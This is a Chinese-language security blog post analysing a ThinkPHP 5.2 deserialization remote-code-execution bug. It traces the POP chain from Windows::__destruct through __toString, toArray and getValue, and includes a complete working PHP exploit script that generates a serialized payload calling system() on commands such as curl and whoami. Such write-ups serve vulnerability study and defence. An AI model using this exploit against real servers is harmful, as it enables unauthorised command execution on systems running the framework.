ThinkPHP 5.2 反序列化漏洞分析

🐘 ThinkPHP 5.2 反序列化漏洞深度分析

漏洞类型 :反序列化命令执行 影响版本 :ThinkPHP 5.2.x 危险等级 :🔴 高危 分析时间:2026-03-27


📌 目录

  1. 漏洞验证

  2. [POP 链分析](#POP 链分析)

  3. 关键问题详解

  4. [完整 EXP](#完整 EXP)

  5. 防御建议


🎯 漏洞验证

测试代码

/app/controller/index.php

复制代码
<?php
namespace app\controller;
​
class Index
{
    public function index($input='')
    { 
        echo $input;
        unserialize($input);  // ← 漏洞点
    }
}

执行结果

✅ 成功执行 whoami 命令


🔗 POP 链分析

整体链路图

复制代码
┌────────────────────────────────────────────────────────────────┐
│                    POP Chain Overview                          │
├────────────────────────────────────────────────────────────────┤
│  Windows::__destruct()                                         │
│       │                                                        │
│       ▼                                                        │
│  file_exists() → 触发 __toString()                             │
│       │                                                        │
│       ▼                                                        │
│  Conversion::toJson()                                          │
│       │                                                        │
│       ▼                                                        │
│  Conversion::toArray()                                         │
│       │                                                        │
│       ▼                                                        │
│  Attribute::getAttr()                                          │
│       │                                                        │
│       ▼                                                        │
│  Attribute::getValue()                                         │
│       │                                                        │
│       ▼                                                        │
│  $closure($value) → 命令执行!                                  │
└────────────────────────────────────────────────────────────────┘

第一步:反序列化入口 Windows::__destruct()

关键代码:

复制代码
class Windows {
    private $files = [];
    
    public function __destruct()
    {
        $this->removeFiles();  // ← 析构时自动调用
    }
    
    private function removeFiles()
    {
        foreach ($this->files as $file) {
            if (is_file($file)) {
                @unlink($file);
            }
        }
    }
}

💡 我的思考:

为什么选 Windows 类作为入口?

  • __destruct() 在对象销毁时自动调用,无需额外触发条件

  • file_exists() 处理对象时会触发 __toString() 魔术方法

  • 这是反序列化漏洞的经典入口点


第二步:跟进 removeFiles() 方法

关键机制:

复制代码
// file_exists() 处理对象时
// PHP 会自动调用对象的 __toString() 方法
// 将其转换为字符串

💡 我的思考:

这是 PHP 的隐式类型转换特性。很多反序列化漏洞都利用了这个机制:

  • file_exists($obj)__toString()

  • echo $obj__toString()

  • $obj . "string"__toString()


第三步:触发 __toString() 后跟进 toJson()

复制代码
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

第四步:跟进 Conversion::toJson()


第五步:跟进 Conversion::toArray()

关键代码:

复制代码
public function toArray()
{
    $item = [];
    $data = array_merge($this->data, $this->relation);  // ← 数据源
    
    foreach ($data as $key => $value) {
        $attr = $this->getAttr($key);  // ← 调用 getAttr
        $item[$key] = $attr;
    }
    
    return $item;
}

💡 我的思考:

这里有两个可控点:

  1. $this->data - 存储要执行的命令

  2. $this->relation - 配合遍历使用

array_merge 后,遍历每个 key 调用 getAttr(),这就把控制权交给了下一步


第六步:跟进 Attribute::getAttr()

复制代码
protected function getAttr($name)
{
    $relation = $this->relation;
    $value = $this->getData($name);  // ← 从 data 数组取值
    return $this->getValue($name, $value);  // ← 调用 getValue
}

第七步:跟进 getValue()getData()


关键代码:

复制代码
// getData() - 从 data 数组取值
public function getData($name = null)
{
    $fieldName = $this->getRealFieldName($name);
    return $this->data[$fileName];  // ← 返回 data 数组中的值
}

// getValue() - 核心漏洞点
protected function getValue($name, $value)
{
    if (isset($this->withAttr[$name])) {
        $closure = $this->withAttr[$name];  // ← 可控!
        $value = $closure($value);          // ← 动态函数调用!
    }
    return $value;
}

💡 我的思考:

这是整个漏洞的最关键点

问题本质$closure 来自用户可控的 $this->withAttr 数组,没有做任何过滤就直接执行。

PHP 特性'system'($cmd) 等价于 system($cmd) 这种动态函数调用在 PHP 中是合法的,但在这里极其危险。


第八步:$value 参数溯源


$value值由传入的$name决定且带入getData方法,getRealFieldName方法返回值又为$name值,接着带入$this->data[$fileName]


第九步:getData() 方法详解

这里看到:

  • getRealFieldName($name) 这个方法只要有值,就直接返回

  • getData() 方法在 Attribute 文件中

  • 我们要定义 $this->data = array('abc'=>'system') 这样,保证 $name 有值时返回对应的 $this->data 参数


第十步:$name 参数来源

$name 来自 toArray() 方法中的 $key,而 $key 来自:

复制代码
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $value) { ... }

第十一步:Trait 机制让类互相访问

通过 use 关键字,让 Model 类可以使用多个 Trait 的属性和方法。


第十二步:$closure 参数构造

我们可以这样构建:

复制代码
$this->withAttr = array("paper" => 'system'); 
// => $closure = 'system';

❓ 关键问题详解

问题 1:$closure 到底从哪来?

答案:从 $this->withAttr 数组来

复制代码
// getValue() 中的关键代码
if (isset($this->withAttr[$name])) {
    $closure = $this->withAttr[$name];  // ← 这里
    $value = $closure($value);
}

攻击者构造:

复制代码
$this->withAttr = ['paper' => 'system'];
// 当 $name = 'paper' 时
// $closure = 'system'
// 执行:'system'('curl http://...')

问题 2:为什么 $data = ['paper' => 'curl http://127.0.0.1:8897']?

答案:这是攻击者故意传入构造函数的参数

参数传递链:

复制代码
┌─────────────────────────────────────────────────────────────┐
│ new Pivot(['paper' => 'curl ...'])                          │
│         │                                                   │
│         ▼                                                   │
│ Pivot::__construct($closure)                                │
│     $closure = ['paper' => 'curl ...']                      │
│         │                                                   │
│         ▼                                                   │
│ parent::__construct($closure)                               │
│         │                                                   │
│         ▼                                                   │
│ Model::__construct($closure)                                │
│     $this->data = $closure  ← 赋值                         │
│         │                                                   │
│         ▼                                                   │
│ 最终:$data = ['paper' => 'curl http://127.0.0.1:8897']    │
└─────────────────────────────────────────────────────────────┘

💡 我的思考:

为什么键名必须是 'paper'

其实可以是任意名字! 只要满足:

  • $data 的键名 = $withAttr 的键名

这样 getValue() 中才能匹配成功。


问题 3:序列化对象包含什么?

答案:只包含属性值,不包含代码

复制代码
$pivot = new think\model\Pivot(['paper' => 'curl http://127.0.0.1:8897']);

序列化后的对象结构:

复制代码
think\model\Pivot 对象
├── $relation = []                    (来自 RelationShip Trait)
├── $visible = []                     (来自 Conversion Trait)
├── $withAttr = ['paper' => 'system'] (来自 Attribute Trait)
└── $data = ['paper' => 'curl ...']   (来自 Attribute Trait)

⚠️ 重要提醒:

✅ 包含 ❌ 不包含
所有属性值(数据) 类定义代码
继承自父类的属性 Trait 的实现
私有/保护/公有属性 方法实现

💡 我的思考:

这就像游戏存档:

  • 存档文件只保存:等级、装备、位置(数据

  • 不保存:游戏引擎代码、角色类定义(代码

读档时 :游戏程序必须已安装,才能读取存档数据 反序列化时 :服务器必须有 ThinkPHP 框架,否则报错 Class not found


问题 4:为什么键名必须是 'paper'?

答案:可以是任意名字,只要匹配就行!

复制代码
// 方案 1:用 'paper'
$data = ['paper' => 'curl http://127.0.0.1:8897']
$withAttr = ['paper' => 'system']

// 方案 2:用 'cmd'
$data = ['cmd' => 'curl http://127.0.0.1:8897']
$withAttr = ['cmd' => 'system']

// 方案 3:用 'x'
$data = ['x' => 'whoami']
$withAttr = ['x' => 'system']

选择 'paper' 的可能原因:

  1. 随便起的名字,没有特殊含义

  2. 避免敏感词(cmd, exec, system)被 WAF 拦截

  3. 参考文章作者的个人习惯


📊 完整变量对应关系图

复制代码
┌─────────────────────────────────────────────────────────────────┐
│                    攻击者构造的 Payload                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  $data = ['paper' => 'curl http://127.0.0.1:8897']             │
│           │                        │                           │
│           │                        └──→ $value (要执行的命令)   │
│           │                                                    │
│           └──→ $key (用于查找处理器)                            │
│                                                                 │
│  $withAttr = ['paper' => 'system']                             │
│             │                        │                         │
│             │                        └──→ $closure (函数名)    │
│             │                                                  │
│             └──→ 必须和 $data 的键名一致!                       │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    getValue() 方法执行                           │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  if (isset($this->withAttr[$name])) {                          │
│      $closure = $this->withAttr[$name];  // 'system'           │
│      $value = $closure($value);          // system('curl..')   │
│  }                                                             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                      命令执行成功 ✅                             │
│              system('curl http://127.0.0.1:8897')              │
└─────────────────────────────────────────────────────────────────┘

📝 完整 EXP(带详细注释)

复制代码
<?php
/**
 * 🐘 ThinkPHP 5.2 反序列化漏洞利用脚本
 * 
 * POP 链:Windows::__destruct → __toString → toJson → toArray 
 *        → getAttr → getValue → 命令执行
 */

namespace think\process\pipes {
    class Windows {
        private $files = [];
        function __construct($files) {
            $this->files = $files;
        }
    }
}

namespace think\model\concern {
    trait Conversion {
        protected $visible;
    }
    trait RelationShip {
        private $relation;
    }
    trait Attribute {
        private $withAttr;
        private $data;
    }
}

namespace think {
    abstract class Model {
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute; 

        function __construct($closure) {
            $this->data = $closure;
            $this->relation = [];
            $this->visible = [];
            $this->withAttr = array("paper" => 'system');
        }
    }
}

namespace think\model {
    class Pivot extends \think\Model {
        function __construct($closure) {
            parent::__construct($closure);
        }
    }
}

namespace {
    $pivot = new think\model\Pivot(['paper' => 'curl http://127.0.0.1:8897']);
    $windows = new think\process\pipes\Windows([$pivot]);
    echo urlencode(serialize($windows));
}

🔄 执行流程总结

复制代码
1. 服务器收到 Payload → unserialize($payload)
2. Windows 对象创建成功
3. 脚本结束 → Windows::__destruct() 自动调用
4. 遍历 $files 数组 → file_exists($pivot 对象)
5. file_exists 处理对象 → 触发 Pivot::__toString()
6. __toString → toJson() → toArray()
7. toArray 遍历 $this->data → getAttr('paper')
8. getAttr → getValue('paper', 'curl http://...')
9. getValue 中:$closure = $this->withAttr['paper'] = 'system'
10. 执行:'system'('curl http://127.0.0.1:8897')
11. 命令执行成功!✅

🔑 关键属性记忆表

属性 作用 来源
$files [Pivot 对象] 触发 __destruct Windows
$data['paper'] 'curl http://...' 要执行的命令 Attribute Trait
$withAttr['paper'] 'system' 要调用的函数 Attribute Trait
$relation [] 配合遍历 RelationShip Trait
$visible [] 配合遍历 Conversion Trait

🔐 安全研究,仅供学习,请勿用于非法用途

分析完成时间:2026-03-27 01:00

</div>

相关推荐
大方子2 小时前
【PolarCTF2026年春季挑战赛】Signed_Too_Weak
网络安全·polarctf
JS_SWKJ2 小时前
网闸:如何在“断连”中实现安全数据交换?
网络安全
一袋米扛几楼983 小时前
什么是 CVE(Common Vulnerabilities and Exposures)?
网络安全
WeeJot嵌入式4 小时前
爬虫对抗:ZLibrary反爬机制实战分析
爬虫·python·网络安全·playwright·反爬机制
旺仔Sec5 小时前
2026年江苏省职业院校技能大赛(教师组) 信息安全管理与评估(技能操作阶段)竞赛样题
网络安全·安全架构
xingxin325 小时前
应急响应处置报告
web安全·网络安全
漠月瑾-西安5 小时前
Cookie Secure 属性:守护网络传输安全的关键防线
网络安全·https·web开发·安全配置·cookie安全·会话保护
oi..6 小时前
Flag和JavaScript document有关
开发语言·前端·javascript·经验分享·笔记·安全·网络安全
大方子7 小时前
【PolarCTF2026年春季挑战赛】The_Gift
网络安全·polarctf